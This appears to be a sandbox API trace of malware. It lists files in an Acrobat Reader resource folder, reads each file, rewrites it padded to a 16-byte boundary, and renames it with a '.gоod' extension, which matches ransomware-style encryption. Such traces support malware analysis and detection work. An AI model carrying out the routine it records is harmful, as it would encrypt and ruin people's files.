lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0182.507] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0182.507] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0182.507] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0182.507] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0182.507] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0182.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0182.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0182.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0182.508] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark", lpFilePart=0x0) returned 0x7d [0182.508] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0182.509] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.509] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0182.509] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0182.509] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0182.509] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0182.510] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0182.510] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0182.540] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0182.540] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0182.540] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0182.540] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 0 [0182.541] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0182.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0182.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0182.541] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png", lpFilePart=0x0) returned 0x94 [0182.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0182.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png"), fInfoLevelId=0x0, lpFileInformation=0x3553840 | out: lpFileInformation=0x3553840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf)) returned 1 [0182.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0182.553] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png", lpFilePart=0x0) returned 0x94 [0182.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0182.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0182.553] GetFileType (hFile=0x820) returned 0x1 [0182.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0182.553] GetFileType (hFile=0x820) returned 0x1 [0182.553] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x2bf [0182.553] ReadFile (in: hFile=0x820, lpBuffer=0x3553f08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3553f08*, lpNumberOfBytesRead=0x203eb258*=0x2bf, lpOverlapped=0x0) returned 1 [0182.569] CloseHandle (hObject=0x820) returned 1 [0183.286] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png", lpFilePart=0x0) returned 0x94 [0183.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0183.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0183.287] GetFileType (hFile=0x630) returned 0x1 [0183.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0183.287] GetFileType (hFile=0x630) returned 0x1 [0183.287] WriteFile (in: hFile=0x630, lpBuffer=0x37236e0*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x37236e0*, lpNumberOfBytesWritten=0x203eb168*=0x2c0, lpOverlapped=0x0) returned 1 [0183.288] CloseHandle (hObject=0x630) returned 1 [0183.288] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png", lpFilePart=0x0) returned 0x94 [0183.288] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png.gоod", lpFilePart=0x0) returned 0x99 [0183.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0183.288] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6975daf6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2c0)) returned 1 [0183.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0183.288] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_patterns_header.png.gоod")) returned 1 [0183.289] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x90 [0183.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0183.289] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_rhp.png"), fInfoLevelId=0x0, lpFileInformation=0x3724b50 | out: lpFileInformation=0x3724b50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3)) returned 1 [0183.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0183.289] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x90 [0183.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0183.289] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_rhp.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0183.289] GetFileType (hFile=0x630) returned 0x1 [0183.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0183.289] GetFileType (hFile=0x630) returned 0x1 [0183.290] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0xb3 [0183.290] ReadFile (in: hFile=0x630, lpBuffer=0x3724ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3724ff0*, lpNumberOfBytesRead=0x203eb258*=0xb3, lpOverlapped=0x0) returned 1 [0183.290] CloseHandle (hObject=0x630) returned 1 [0183.351] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x90 [0183.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0183.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_rhp.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0183.352] GetFileType (hFile=0x824) returned 0x1 [0183.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0183.352] GetFileType (hFile=0x824) returned 0x1 [0183.352] WriteFile (in: hFile=0x824, lpBuffer=0x35ad170*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x35ad170*, lpNumberOfBytesWritten=0x203eb168*=0xc0, lpOverlapped=0x0) returned 1 [0183.353] CloseHandle (hObject=0x824) returned 1 [0183.353] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png", lpFilePart=0x0) returned 0x90 [0183.353] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png.gоod", lpFilePart=0x0) returned 0x95 [0183.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0183.353] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_rhp.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x697f63f2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0183.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0183.353] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_rhp.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_rhp.png.gоod")) returned 1 [0183.354] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png", lpFilePart=0x0) returned 0x87 [0183.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0183.354] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons.png"), fInfoLevelId=0x0, lpFileInformation=0x35ae5c8 | out: lpFileInformation=0x35ae5c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, 